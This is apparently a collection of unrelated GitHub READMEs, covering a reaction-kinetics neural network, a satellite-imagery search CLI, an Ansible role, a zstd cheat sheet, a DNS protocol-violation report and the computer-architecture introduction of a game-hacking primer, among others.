This repo provides the case studies presented in the original CRNN paper as well as ongoing preliminary results on other systems. Currently, we are actively working on the following systems:

* [Biomass pyrolysis kinetics](https://github.com/DENG-MIT/CRNN-Pyrolysis)
* [Cell signaling pathways for quantitative modeling drug effects](https://github.com/jiweiqi/CellBox.jl)
* Gene regulatory network (preliminary results)
* Oscillations in yeast glycolysis (preliminary results)
* Systems with strong stiffness (Robertson's problem)
* Gas-phase combustion kinetics (`HyChem`)

Inside each folder, such as case 1/2/3, you will find at least two Julia codes. One for training and the other one for weight pruning. Those two files are identical, except that the weight pruning includes a function to prune the CRNN weights to further encourage sparsity.

# Get Started

Have a look at the code for [case 2](https://github.com/DENG-MIT/CRNN/blob/main/case2/case2.jl). The script consists of the following parts:
* Hyper-parameter settings
* Generate synthesized data
* Define the neural ODE problem
* Train CRNN using ADAM

**We strongly recommend using Julia 1.6 with the CRNN code included in this repository. Newer versions may lead to indexing issues and convergence to incorrect mechanisms.**

# Cite
Ji, Weiqi, and Deng, Sili. "Autonomous Discovery of Unknown Reaction Pathways from Data by Chemical Reaction Neural Network." The Journal of Physical Chemistry A, (2021), 125, 4, 1082–1092, [acs](https://pubs.acs.org/doi/full/10.1021/acs.jpca.0c09316)/[arXiv](https://arxiv.org/abs/2002.09062)

repository: DENG-MIT/CRNN

branch_name: refs/heads/main

gha_language: Julia

repo_name: DENG-MIT/CRNN


text:
# sat-search

[![CircleCI](https://circleci.com/gh/sat-utils/sat-search.svg?style=svg&circle-token=a66861b5cbba7acd4abd7975f804ab061a365e1b)](https://circleci.com/gh/sat-utils/sat-search)

Sat-search is a Python 3 library and a command line tool for discovering and downloading publicly available satellite imagery using STAC compliant API.

## STAC APIs

Starting with v0.3.0, sat-search does not have a default STAC endpoint. This can be passed as a parameter when using the library, or define the environment variable `STAC_API_URL`. Endpoints known to work are provided in this table:

| Endpoint  | Data |
| --------  | ----  |
| https://earth-search.aws.element84.com/v0  | Sentinel-2 |

## Installation

Sat-search is a very lightweight application, with the only dependency being [sat-stac](https://github.com/sat-utils/sat-stac), which in turn has two dependencies: `requests` and `python-dateutil`. To install sat-search from PyPi:

```bash
$ pip install sat-search
```

From source repository:

```bash
$ git clone https://github.com/sat-utils/sat-search.git
$ cd sat-search
$ pip install .
```

#### Versions
The latest version of sat-search is 0.2.2, which uses [STAC v0.7.0](https://github.com/radiantearth/stac-spec/tree/v0.7.0). To install other versions of sat-search, specify the version in the call to pip.

```bash
pip install sat-search==0.2.0
```

The table below shows the corresponding versions between sat-search and STAC. Additional information can be found in the [CHANGELOG](CHANGELOG.md)

| sat-search | STAC  |
| --------   | ----  |
| 0.1.x      | 0.5.x - 0.6.x |
| 0.2.x      | 0.5.x - 0.7.x |
| 0.3.x      | 0.9.x - 1.0.0-beta.2 |

## Using sat-search

With sat-search you can search a STAC compliant API with full querying support (if supported by the API). Search results can be saved as a GeoJSON file then loaded later. Assets can be downloaded by the asset key, or "color" (common_name of the band) if provided.

Sat-search is a Python 3 library that can incorporated into other applications. A [Jupyter notebook tutorial](tutorial-1.ipynb) is included that covers all the main features of the library.

Sat-search also comes with a Command Line Interface (CLI), which is explained more below.

#### The CLI
The sat-search CLI has an extensive online help that can be printed with the `-h` switch.

```
$ sat-search -h
usage: sat-search [-h] {search,load} ...

sat-search (v0.3.0)

positional arguments:
  {search,load}
    search       Perform new search of items
    load         Load items from previous search

optional arguments:
  -h, --help     show this help message and exit
```

As can be seen there are two subcommands, `search` and `load`, each of which has it's own help.

#### `search`

```
$ sat-search search -h
usage: sat-search search [-h] [--version] [-v VERBOSITY]
                         [--print-md [PRINTMD [PRINTMD ...]]]
                         [--print-cal PRINTCAL] [--save SAVE]
                         [-c [COLLECTIONS [COLLECTIONS ...]]]
                         [--ids [IDS [IDS ...]]] [--bbox BBOX BBOX BBOX BBOX]
                         [--intersects INTERSECTS] [--datetime DATETIME]
                         [-q [QUERY [QUERY ...]]]
                         [--sortby [SORTBY [SORTBY ...]]] [--found]
                         [--url URL] [--headers HEADERS] [--limit LIMIT]

optional arguments:
  -h, --help            show this help message and exit
  --version             Print version and exit
  -v VERBOSITY, --verbosity VERBOSITY
                        0:quiet, 1:error, 2:warning, 3:info, 4:debug (default:
                        2)

output options:
  --print-md [PRINTMD [PRINTMD ...]]
                        Print specified metadata for matched scenes (default:
                        None)
  --print-cal PRINTCAL  Print calendar showing dates (default: None)
  --save SAVE           Save results as GeoJSON (default: None)

search options:
  -c [COLLECTIONS [COLLECTIONS ...]], --collections [COLLECTIONS [COLLECTIONS ...]]
                        Name of collection (default: None)
  --ids [IDS [IDS ...]]
                        One or more scene IDs from provided collection
                        (ignores other parameters) (default: None)
  --bbox BBOX BBOX BBOX BBOX
                        Bounding box (min lon, min lat, max lon, max lat)
                        (default: None)
  --intersects INTERSECTS
                        GeoJSON Feature (file or string) (default: None)
  --datetime DATETIME   Single date/time or begin and end date/time (e.g.,
                        2017-01-01/2017-02-15) (default: None)
  -q [QUERY [QUERY ...]], --query [QUERY [QUERY ...]]
                        Query properties of form KEY=VALUE (<, >, <=, >=, =
                        supported) (default: None)
  --sortby [SORTBY [SORTBY ...]]
                        Sort by fields (default: None)
  --found               Only output how many Items found (default: False)
  --url URL             URL of the API (default: None)
  --headers HEADERS     Additional request headers (JSON file or string)
                        (default: None)
  --limit LIMIT         Limits the total number of items returned (default:
                        None)

**Search options**

- **collections** - Search only a specific collections. This is a shortcut, collection can also be provided as a query (e.g., `-q "collection=landsat-8-l1"`)
- **ids** - Fetch the Item for the provided IDs in the given collection (collection must be provided). All other search options will be ignored.
- **intersects** - Provide a GeoJSON Feature string or the name of a GeoJSON file containing a single Feature that is a Polygon of an AOI to be searched.
- **datetime** - Provide a single partial or full datetime (e.g., 2017, 2017-10, 2017-10-11, 2017-10-11T12:00), or two seperated by a slash that defines a range. e.g., 2017-01-01/2017-06-30 will search for scenes acquired in the first 6 months of 2017.
- **query** - Allows searching for any other scene properties by providing the pair as a string (e.g. `-p "landsat:row=42"`, `-p "eo:cloud_cover<10"`). Supported symbols include: =, <, >, >=, and <=
- **sortby** - Sort by specific properties in ascending or descending order. A list of properties can be provided which will be used for sorting in that order of preference. By default a property will be sorted in descending order. To specify the order the property can be preceded with '<' (ascending) or '>' (descending). e.g., `--sort ">datetime" "<eo:cloud_cover" will sort by descending date, then by ascending cloud cover
- **found** - This will print out the total number of scenes found, then exit without fetching the actual items (i.e., the query is made with limit=0).
- **url** - The URL endpoint of a STAC compliant API, this can also be set with the environment variable STAC_API_URL
- **headers** - Additional request headers useful for specifying authentication parameters
- **limit** - Limits total number of Items returned

**Output options**
These options control what to do with the search results, multiple switches can be provided.

- **print-md** - Prints a list of specific metadata fields for all the scenes. If given without any arguments it will print a list of the dates and scene IDs. Otherwise it will print a list of fields that are provided. (e.g., --print-md date eo:cloud_cover eo:platform will print a list of date, cloud cover, and the satellite platform such as WORLDVIEW03)
- **print-cal** - Prints a text calendar (see image below) with specific days colored grouped by a provided property name (e.g. platform), along with a legend.
- **save** - Saves results as a FeatureCollection. The FeatureCollection 'properties' contains all of the arguments used in the search and the 'features' contain all of the individual scenes, with individual scene metadata merged with collection level metadata (metadata fields that are the same across all one collection, such as eo:platform)

![](images/calendar.png)

#### `load`

Scenes that were previously saved with `sat-search search --save ...` can be loaded with the `load` subcommand.

```
usage: sat-search load [-h] [--version] [-v VERBOSITY] [--print-md [PRINTMD [PRINTMD ...]]] [--print-cal PRINTCAL]
                       [--save SAVE] [--filename_template FILENAME_TEMPLATE]
                       [--download [DOWNLOAD [DOWNLOAD ...]]] [--requester-pays]
                       items

positional arguments:
  items                 GeoJSON file of Items

optional arguments:
  -h, --help            show this help message and exit
  --version             Print version and exit
  -v VERBOSITY, --verbosity VERBOSITY
                        0:quiet, 1:error, 2:warning, 3:info, 4:debug (default: 2)

output options:
  --print-md [PRINTMD [PRINTMD ...]]
                        Print specified metadata for matched scenes (default: None)
  --print-cal PRINTCAL  Print calendar showing dates (default: None)
  --save SAVE           Save results as GeoJSON (default: None)

download options:
  --filename_template FILENAME_TEMPLATE
                        Save assets with this filename pattern based on metadata keys (default:
                        ${collection}/${date}/${id})
  --download [DOWNLOAD [DOWNLOAD ...]]
                        Download assets (default: None)
  --requester-pays      Acknowledge paying egress costs for downloads (if in request pays bucket) (default: False)
```

Note that while the search options are gone, output options are still available and can be used with the search results loaded from the file. There is also a new series of options for downloading data.

#### Downloading assets
When loading results from a file, the user now has the option to download assets from the scenes.

**Download options**
These control the downloading of assets. Both datadir and filename can include metadata patterns that will be substituted per scene.
- **download** - Provide a list of keys to download these assets. More information on downloading data is provided below.
- **filename_template** - This specifies the filename prefix where downloaded assets will be saved to based on a template using properties from the specific STAC Item. Supported fields:
    - ${id}: The ID of the STAC Item
    - ${collection}: The collection of the STAC Item
    - ${date}: The date portion of the `datetime` property
    - ${year}: The year of the `datetime` property
    - ${month}: The month of the `datetime` property
    - ${day}: The day of the month of the `datetime` property
    - ${<property>}: Any STAC Item property may be used, e.g. "${eo:cloud_cover}", "${platform}
  The actual filename will be this prefix followed by the asset key and an appropriate extension. For example, specifying `filename_template` as "./${eo:platform}/${date}/${id}" will save assets for each Item under directories of the platform and the date. Thus, a landsat-8 Item from June 20, 2018 will have it's assets saved in a directory './landsat-8/2017-06-20/'. A metadata asset with the key `MTL` would be saved as './landsat-8/2017-06-20/LC80090292018275LGN00_MTL.TIF'. The last component of the filename_template is taken as the filename. See example directory structure below.

```
landsat-8/
└── 2018-10-02
    ├── LC80090292018275LGN00_MTL.txt
    ├── LC80090292018275LGN00_thumbnail.jpg
    ├── LC80090302018275LGN00_MTL.txt
    └── LC80090302018275LGN00_thumbnail.jpg
```

A shortcut to download all of the assets is available by providing "ALL" as the key to download. This will download every asset for every item.

```
   sat-search load scenes.json --download ALL
```

## Tutorial
This [Jupyter notebook tutorial](tutorial-1.ipynb) covers all the main features of the library.

## About
sat-search is part of a collection of tools called [sat-utils](https://github.com/sat-utils).

repository: trailbehind/sat-search

repo_name: trailbehind/sat-search


text:
# Firefox Infra Changelog
Automated tool which builds a changelog of commits happening on git and hg that could affect Firefox CI Infra.

# How does it work?
The tool listens via webhooks on all mozilla's Git/HG infra repositories and creates:
* A central [changelog.md](https://github.com/Akhliskun/firefox-infra-changelog/blob/master/changelog.md) in which data is preformated in a set way. Check [Issue #5](https://github.com/Akhliskun/firefox-infra-changelog/issues/5) for details on formating.
* A [changelog.json](https://github.com/Akhliskun/firefox-infra-changelog/blob/master/changelog.json) file containg the same data changelog.md contains.

# Can I contribute?
Yes! We have a couple of [Issues Open](https://github.com/Akhliskun/firefox-infra-changelog/issues).
Pick whichever you find fancy and make a PullRequest.

**PLEASE** don't forget to select "`Allow edits from maintainers`" so we can have quicker merges!

## I have an issue I like, now what?
Fork the project (always make sure to be up-to-date) and start implementing, once done simply make a pull requests and add @Akhliskun for review.

# Contributors
* [Danut Labici](https://github.com/Akhliskun)
* [Bogdan Crisan](https://github.com/bccrisan)
* [Roland Mutter](https://github.com/mutterroland)
* [Zsolt Fay](https://github.com/zsoltfay)
* [Radu Iman](https://github.com/raduiman)
* [Adrian Pop](https://github.com/popadrianc)

repository: mutterroland/firefox-infra-changelog

repo_name: mutterroland/firefox-infra-changelog


text:
## Roadmap for Dat in the Lab
September
-
- [ ] Kickoff Phone Calls
- [x] Announcement blog post - released on the [Dat Project Blog](https://blog.datproject.org/2017/09/14/dat-in-the-lab/)
- [x] Set up [repository for collaboration](https://github.com/codeforscience/Dat-in-the-Lab/)
- [x] Confirm with participants
- [x] Write up a prelim ROADMAP.md
- [ ] Develop training materials & Intro to Dat tutorial for site visits

October
-
- [ ] Kickoff Meetings on location
- [ ] Intro to Dat tutorial ready for launch!
- [ ] Work with researchers on prioritizing their needs / problems
- [ ] Develop this roadmap to include dev milestones

November
-
December
-
January
-
- [ ] Second site visit to present our proposals

February
-
March
-
April
-
May
-
- [ ] Third site visit for assessment

June
-
July
-
August
-

repository: codeforscience/Dat-in-the-Lab

repo_name: codeforscience/Dat-in-the-Lab


text:
Install the dependencies and start the server.

```
npm/yarn install
npm/yarn start
open http://localhost:3000
```
For fast API testing here is a sample and valid Address, City and Zip code:
```sh
address: 13 Tejon st,
city: Denver,
zip: 80211
```

### Static Files

You can store static files like images, fonts, etc in the `build` folder.

repository: Lonefort/snp-front

repo_name: Lonefort/snp-front


text:
Stouts.locale
=============

[![Build Status](http://img.shields.io/travis/Stouts/Stouts.locale.svg?style=flat-square)](https://travis-ci.org/Stouts/Stouts.locale)
[![Galaxy](http://img.shields.io/badge/galaxy-Stouts.locale-blue.svg?style=flat-square)](https://galaxy.ansible.com/list#/roles/828)

Ansible role which ensure the defined locales are exists.

#### Variables

```yaml
locale_enabled: yes        # Enable role
locale_locales:            # List of locales to installed
- en_US.UTF-8
```

#### Usage

Add `Stouts.locale` to your roles and set `locale_locales` in your playbook file.

Example:

```yaml

- hosts: all

  roles:
    - Stouts.locale

  vars:
    locale_locales:
    - en_US.UTF-8
    - ru_RU.UTF-8

```

#### License

Licensed under the MIT License. See the LICENSE file for details.

#### Feedback, bug-reports, requests, ...

Are [welcome](https://github.com/Stouts/Stouts.locale/issues)!


text:
# React_native_start
This is a learning project for react Native

# Start
1. Install Node and Watchman (to watch changes in filesystem) to kick of the start.
i) brew install node
ii) brew install watchman.

2. Install React Native command line interface with *npm install -g react-native-cli*
3. Create a new project with *react-native init AwesomeProject*
4. To run project, navigate to the newly create project and run *react-native run-ios*

# Props And State
Props are basically values that are set by parent for its child. This is all constant throught. But
States are used to change something in that component.

# Install Flow
1. Run *npm install --save-dev babel-preset-flow* OR *yarn add --dev babel-cli babel-preset-flow*
2. go to .babelrc file and add flow in the preset
3. Run *npm add --only=dev flow-bin*
4. Now, Run flow with *npm run flow*. If there is any version incompatiblity error turns up, then flow-bin with the compatible version. For Example *npm add --only=dev<EMAIL_ADDRESS>


text:
# Introduction
Welcome to Game Hacking for Noobs. This aim of this book is to give you a *really* brief
introduction into an art of examining computer processes and more precisely, computer games.

By reading this modest book you should
* understand what computer programs are and how their run at our computers
* find variables in alien programs you are interested in
* create simple hacks

# Architecture of computers
Before we can start with examining applications such as computer games, we will need to understand
at least some basics of *computer architecture*. Following section will give you rather brief overview
of the architecture. In case you are familiar with terms such as *stack*, *heap*, *instructions* and
*instruction set*, you can skip this chapter.

## What are computer programs made of
So you probably knows that computers are running computer programs, written by fanatic programmers
who sacrifice their life to create the best program ever doing their voo-doo with mystery computers.

In reality, **computer programs** are just sequentions of code. But what's code ? Well, that depends
on what the program is written in. Usually, programs consist of **statements** and **expressions**,
   which determine model the flow of program.

According to Dijkstra, *statements* can be listed into three general categories:

 * **sequence** allows to define a block of commands which are processed one-by-one
 * **control** statements can choose which way to go according to some conditions
 * **iteration** defines commands which are executed repeatedly either for fixed-iteration times or till
condition for iteration is valid - for example, **for**, **while** or **do while**
 * **assignment** copies values from one place to another

*Expressions* are made of operators and can be evaluated into value of some type. For example,
    expression (sin(90 deg)*5.0 + 1.0) evaluates roughly to 6.

The text state above can is demostrated in following C program:
```C++
// this is a simple function which takes a single parameter N
int fibonnaci(int n)
{
    // if N is lower than or equal to  1, return 1
    if(n <= 1) // IF is a control-flow statement
        return 1; // return is just a statement which assigns return value
    else {
        // otherwise compute value as a sum of previous two elements of Fibbonaci series
        // n-2 is an expression which computes a temporate value whis passed to fibonnaci function
        return fibonnaci(n-1)+fibonnaci(n-2);
    }
}
```

## Stack vs heap
While implementing an algorithm, one may not be certain about how much of data he will need to
store. The amout of data may be determined by users or other outter factors.
To store the data in the program, computer programs utilize two memory models:

 * **stack** is special region in global memory which has a specific mode of access. It can be
 accessed randomly as for reading, but data can only be appended or poped from the top of stack. It
 is used implicitely when we create local variables in functions. Each thread has its
 own stack and stack is usually used to pass arguments to functions.
 * **heap** is another specialized region in global memory which has its memory manager called
 **allocator** which assignes memory subsection on demand. Heap can either be managed by standard
 library (that's that malloc does), operating system or even the program itself.

## A CPU point of view
As you can see, programms are usually programmed using programming languages with *higher
abstraction*. Hold on, why higher ? Is there any lower abstraction ? Actually, there is as programs
are perceived differently by computers and will get to this in following section.

When programmes are done in abstract languages, they must be converted into form which can be
interpreted by CPU. Most of modern CPUs are actually dumb - they only use a set of simple
instructions which express simple operations with memory, registers and ALU unit.

CPUS are **state-machines**. That means their activity is controled by *state*, which they store in so-called **flags**.
This machines have access to global memory (called RAM) and to **registers** that stores the data
that CPU is currently working with. Actually, CPUs are such simple that there are no instructions
to express iterations or selections explicitely. Instead, CPUs work with **jumps** and
**conditioned jumps** which allow to express these high level abstractions.

What CPU does is that it has a special register called **instruction pointer** which stores address
to global memory and denotes the current position in code. Before CPU runs, it **fetches** the
instruction at pointed address, **decodes** and **executes** the instruction afterwards. Execution
manipulates **data path** - it may lead to loading additional data from memory to register, manipulating with registers using arithemetics and logics
or storing data back to memory.

Consider the example of calculating `fibonnaci` function. We have already seen its C version. So how
would a C function look like in CPU-instruction version ?

Here is an example snippet in a pseudo-Assembly language:
```
# Beggining of fibonnaci
fibonnaci:
COMPARE n, 1
JUMP IF EQUAL zeroAndOneCase
# If JUMP is not taken, this section is executed

# Store our current n argument
PUSH n
# Execude n-1
SUBTRACT n, 1
# Call fibonnaci function with new argument n
CALL fibonnaci
ADD sum, returnValue
# Get the original argument
POP n
# SUBTRACT n, 2
# Call fibonnaci function with new argument n
CALL fibonnaci
ADD sum, returnValue
POP n
MOVE returnValue, sum
RETURN
# zeroAndOneCase section of code is only accessed using JUMP above
zeroAndOneCase:
MOVE returnValue, 1
RETURN
```

Please, note that I made up the names of instructions in order to make the example more concise.

Except of lines starting with #, each line stand for an **instruction** which is executed by CPU.
The execution of instruction is influenced by flags (for example, JUMP IF EQUAL would check EQUAL
        flag before deciding where to continue.

So, as you could see, in reality, CPUs are executing simple instructions which has no knowledge of
the program itself - instructions only access registers, flags and global memory.

## Compilation & Linking & Execution
Up to now, we've seen how programs are written in languages supporting abstract constructions and
we've noted the fact that CPU can't work this way - it requires rather dumb sequence of
instructions, encode in CPU's specific instruction set code. So, how do we get there ? We use
*compilers*.

**Compilers** are computer programs which analyze other's program source codes and converts
(compiles) program from one computer language to another (possibly CPU sequence of instructions).
Naturally, the conversion preserves program's functionality so that both programs act equally.
Compilers analyze source code at different levels. Just briefly - characters which made the code are
gathered and analyzed to detect what kind of *lemma* (sentence member) are. Subsequently, syntax
trees are construct using lemmas and result in *abstract syntax trees* which can be either
exectuced (that's how interpreted languages such as Java/Python might work) or stored in different
language representing the parsed nodes of AST.

As a game hacker, you should understand that compilation may transform the source code into
something which looks completely different than the original. This covers stripping the names of
varibles, functions and commentaries stored in the code.


text:
# IDE  Instructions
This simple guide is crafted for [IntelliJ IDEA](docs/ide-instructions.md) IDE.
Start IDE on your PC and follow instructions.

## 1. Open Project
![idescreen-001](ide-screens/screen-001.png)
![idescreen-002](ide-screens/screen-002.png)

## 2. Compile and Run Tests
![idescreen-003](ide-screens/screen-003.png)
![idescreen-004](ide-screens/screen-004.png)

## 3. Explore Examples and Lessons
Main __java-boot-camp__ project is actually
[maven](https://maven.apache.org/) [multi-module](https://maven.apache.org/guides/mini/guide-multiple-modules.html) project.
Feel free to explore modules - [subprojects](../README.md).

repository: jveverka/java-boot-camp

gha_language: Java

repo_name: jveverka/java-boot-camp


text:
# zstd

> Compress or decompress files with Zstandard compression.
> Homepage: <https://github.com/facebook/zstd>.

- Compress a file into a new file with the .zst suffix:

`zstd {{file}}`

- Decompress a file:

`zstd -d {{file}}.zst`

- Decompress to stdout:

`zstd -dc {{file}}.zst`

- Compress a file, while specifing the compression level. 0 = Worst, 19 = Best (Default level is 3):

`zstd -{{level}} {{file}}`

- Use more memory (both when compressing and decompressing) to achieve a higher compression ratio:

`zstd --ultra -{{level}} {{file}}`

repository: chrillebile/tldr

repo_name: chrillebile/tldr


text:
user-app
========

The user-app program allows the user to perform basic CRUD operations on
a MySQL database. Current functionality includes:

-   Creating an email address
-   Reading database entries
-   Updating database entries
-   Deleting database entries

Getting Started
---------------

These instructions will get you a copy of the project up and running on
your local machine for development and testing purposes.

### Prerequisites

Ensure you have Java 8 or higher installed on your machine. To check,
run the following on the command line:

`java --version`8

If you do not have Java installed, you should get a prompt to do so.
Once installed,

you should also have access to `javac`. You can check this by running:

`javac --version`8

### Running user-app

Run these commands in your terminal to test the program is working
correctly.

    javac src/com/ciaran/user/servlets/CreateUserServlet.java
    javac src/com/ciaran/user/servlets/DeleteUserServlet.java
    javac src/com/ciaran/user/servlets/ReadUserServlet.java
    javac src/com/ciaran/user/servlets/UpdateUserServlet.java

    java CreateUserServlet.java
    java DeleteUserServlet.java
    java ReadUserServlet.java
    java UpdateUserServlet.java

Authors
-------

-   Ciaran McKenna

Contributing
------------

Pull requests are welcome. For major changes, please open an issue first
to discuss what you would like to change.

Please make sure to update tests as appropriate.

License
-------

[MIT](https://choosealicense.com/licenses/mit/)

repository: ciaranmckenna/product-page

repo_name: ciaranmckenna/product-page


text:
# bigvideo-lite
## The jQuery Plugin for Big Background Video (and Images) sans jquery-ui

This is a fork of the BigVideo.js project from John Polacek @johnpolacek, which removes the player controls entirely.  BigVideoList is for background video/images only, with no user interaction.  It's really just a stripped down version of BigVideo.js.

This also allows use to remove the dependency on the rather bulky jquery-ui plugin, when all you need is video/images playing in the background.

## Installation
If you're using [Bower](http://bower.io) (and you should be!) installing bigvideo-lite and its dependencies is simply:

```
bower install bigvideo-lite
```

This downloads and installs bigvideo-lite to the ``bower_components`` folder. Add to your page the usual way with script tags, or using [RequireJS](#requirejs).

If you'd rather download things manually, you can grab the latest zip from that lovely button on the right ([or this link](https://github.com/khalwat/bigvideo-lite/archive/master.zip)). You will also need the dependencies:

* [jQuery 1.7.2 or higher](http://jquery.com/download)
* [Video.js 3.2 or higher](http://www.videojs.com/)
* [imagesloaded 2.1.1 or higher](http://desandro.github.io/imagesloaded/)

## RequireJS
If [RequireJS](http://requirejs.org/) is detected, bigvideo-lite defines itself as an anonymous module. Require it as:

```javascript
require(['path/to/bigvideo-lite'], function(bigvideo) {
	// do stuff here
});
```

Make sure your [require config](http://requirejs.org/docs/api.html#config) is set up correctly; an example configuration is as follows:

```javascript
require.config({
	paths: {
		"bigvideo-lite": "bower_components/bigvideo-lite/lib/bigvideo-lite",
		"jquery": "bower_components/jquery/jquery",
		"videojs": "bower_components/video.js/video",
		"imagesloaded": "bower_components/imagesloaded/imagesloaded",
	},
	shim: {
		"videojs": {exports: 'videojs'}
	}
});
```

This is to ensure that bigvideo-lite and all its dependencies get the right paths, and that RequireJS knows how to reference Video.js.

* * *
### Created by John Polacek
Follow [@johnpolacek](https://twitter.com/johnpolacek) on Twitter

Thanks to [Matt Brennan](https://github.com/quarterto) for Bower integration

* * *
### Draftfcb Chicago
We are the development group at Draftfcb Chicago. If you want to work on big digital ideas for big brands, get in touch with us at [devrecruiting@draftfcb.com](mailto:devrecruiting@draftfcb.com).

* * *
The MIT License (MIT)
Copyright © 2012 John Polacek

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

repository: khalwat/bigvideo-lite

repo_name: khalwat/bigvideo-lite


text:
# DVE-2017-0018: Raiffeisen Bank nameservers drops DNS packets with EDNS version > 0

## Description

The nameservers for <any_subdomain>.rb.cz. doesn't respond to queries
with EDNS version greater than zero.

## Evidence

    $ kdig +edns=1 +norec IN TXT www.rb.cz @lb-dns-live-03.rb.cz.
	;; WARNING: response timeout for <IP_ADDRESS>@53(UDP)

	;; WARNING: response timeout for <IP_ADDRESS>@53(UDP)

	;; WARNING: response timeout for <IP_ADDRESS>@53(UDP)
	;; WARNING: failed to query server lb-dns-live-03.rb.cz.@53(UDP)

## Proposed fix

The Raiffeisen Bank nameservers MUST properly implement RFC 6891
Section 6.1.3 and return RCODE=BADVERS in the DNS answer.

## Metadata

Submitter: Ondřej Surý
Submit-Date: 2017-05-09
Tags: protocol

repository: dns-violations/dns-violations

repo_name: dns-violations/dns-violations


text:
# blackboard

by David Whitehurst

The blackboard model probably came about in 1962 when Allen Newell put these words to
paper, "metaphorically we can think of a set of workers, all looking at the same
blackboard: each is able to read everything that is on it, and to judge when he has
something worthwhile to add to it. This conception is just that of Selfridge's pandemonium:
a set of demons, each independently looking at the total situation and shrieking in
proportion to what they see that fits their natures[1].

The blackboard model is a problem solving model where the management of knowledge sources
is organized and controlled by a mix of hierarchical and opportunistic suggestions. This
opportunistic reasoning is not predictable.  If outcomes could be predicted, the blackboard
model could have been an evolutionary computational specification. The blackboard model
has been a conceptual entity and very difficult to model as a computer system[2].

The blackboard project is an attempt to model and implement a working solution to a
cryptogram or coded sentence problem using Newell's concept of the blackboard model. The
specific problem and larger portion of the high-level design is that of Grady Booch[3].
Booch's design uses C++ snippets to describe UML designs, however this project will use
Java for implementation.

The example cryptogram is a grammatically correct sentence, however the cipher letters have
corresponding alphabets that replace or decode this sentence into a sensible english
statement. While the author outlines the problem using C++ classes and methods, he does
not completely solve the problem or provide specific code implementations. A similar problem
was implemented in the early 70's called HEARSAY.

The cryptogram is "Q AZWS DSSC KAS DXZNN DASNN" ...
and the solution is "I HAVE SEEN THE SMALL SHELL".

Try solving the cryptogram by hand, and note your methods wisely.  It's not easy but if
you can solve it with a computer program, please share your code.  I'd love to see it.

A hint is given by Booch to start the knowledge source suggestions. The cipher letter W
is a plaintext V.

David L. Whitehurst  (August 30, 2010)

REFERENCES:

[1] Newell, Allen (1962) Some problems of basic organization in problem solving programs. In
    M.C. Yovits, G.T. Jacobi, & G.D. Goldstein (Eds.), Conference on Self-Organizing Systems.
    Washington D.C.: Spartan Books, 393-423

[2] Nii, Penny Summer (1986). Blackboard Systems: The Blackboard Model of Problem Solving and
    the Evolution of Blackboard Architectures. AI Magazine Vol. 7, No. 2

[3] Booch, Grady (1994) Object Oriented Analysis and Design with Applications, Second Edition.
    Menlo Park, California: Addison-Wesley, 413-444

repository: dlwhitehurst/blackboard

repo_name: dlwhitehurst/blackboard


text:
# _My Epicodus Projects_

#### By **Corey Redding**

## Description

Here is a list of my Friday Projects linked to their respective repositories. These projects are created by myself every Friday throughout the program. Monday-Thursday, Epicodus students work with a paired partner on all of their projects.

## Projects

### JavaScript

| Week  | Project | Repository |
| ----- | ------------- | ------------ |
| 1     | **Better Doctor API** | [Link](https://github.com/coreysnightout/doctor-api) |
| 2     | **Zoo Application Animal Tracker** | [Link](https://github.com/coreysnightout/animal-tracker) |
| 3  |**LA Kings Roster** | [Link](https://github.com/coreysnightout/la-kings-roster-final) |
| 4 | **Cutthroat's Cavern** (Group Project(Julian Flood, Kimlan Nguyen, Corey Redding, Jordan Loop))|[Link](https://github.com/coreysnightout/Cutthroats-Cavern-Game) |

---

### CSS

| Week  | Project | Repository |
| ----- | ------------- | ------------ |
| 1     | **Product For Sale** | [Link](https://github.com/coreysnightout/miller-highlife) |
| 2      |  **Responsive Design** | [Link](https://github.com/coreysnightout/responsive-design-project) |
| 3      |  **Tribute Page Sketchy Tank** | [Link](https://github.com/coreysnightout/tribute-page) |
| 4      |  **Personal Portfolio** | [Link](https://github.com/coreysnightout/portfolio-project) |
| 5      |  **Dad Joke Generator** (GROUP PROJECT(Justin Gomez, Daniel Lopez, Corey Redding, Calvin Cushman)) | [Link](https://github.com/coreysnightout/The-Dad-Joke-Generator) |

---

### Intro to Programming

| Week  | Project | Repository   |
| ----- | ------------- | ------------ |
| 1     | **Portfolio** | [Link](https://github.com/coreysnightout/Portfolio-Webpage/tree/gh-pages) |
| 2     | **Transportation Survey** | [Link](https://github.com/coreysnightout/Transportation-Survey/tree/gh-pages) |
| 3     | **Ping Pong JavaScript** | [Link](https://github.com/coreysnightout/Ping-Pong) |
| 4     | **Pizza Ordering Website** | [Link](https://github.com/coreysnightout/pizza-order)  |
| 5     | **Packpartout** (GROUP PROJECT(Dani Trulls, Jordan Loop, Corey Redding, Beth Hanson)) | [Link](https://github.com/coreysnightout/Campsite) |

## Contact details

* Feel free to reach out with suggestions at<EMAIL_ADDRESS>
## Technologies Used

**Main Languages used:**

* HTML
* CSS
* JavaScript
* jQuery

**Other Technologies:**

* Bootstrap
* Adobe Illustrator
* Google Fonts
* Font Awesome
* DaFont
* FontIcon
* Emoji CSS

## License

This project is licensed under the MIT License

**_Corey Redding_** Copyright (c) 2017

repository: coreysnightout/My-Epicodus-Projects

repo_name: coreysnightout/My-Epicodus-Projects


text:
# tntp
*(tiled new tab page)*

A dead simple new tab replacement that displays web page links as a customizable grid of colored tiles.

Should work with any browser that implements the WebExtensions API.

Built with:

- Hyperapp [[github](https://github.com/hyperapp/hyperapp)] [[homepage](https://hyperapp.js.org/)]
- Stylus [[github](https://github.com/stylus/stylus)] [[homepage](http://stylus-lang.com/)]

## Build

- Run `gulp build` in project root to copy WebExtension files (manifest, icons, etc) and generate a webpack bundle JS file in the `build/` directory

## Load Extension (Dev mode)

### Firefox (version 57+ recommended)

- Browse to `about:debugging`
- Click "Load Temporary Add-on"
- Browse to `[project root]/build` and select any file

### Chrome
- Browse to `about:extensions`
- Click "Load Unpacked Extension"
- Browse to `[project root]/build` and click open

Check official browser documentation for extension packaging and distribution instructions.

## Dev

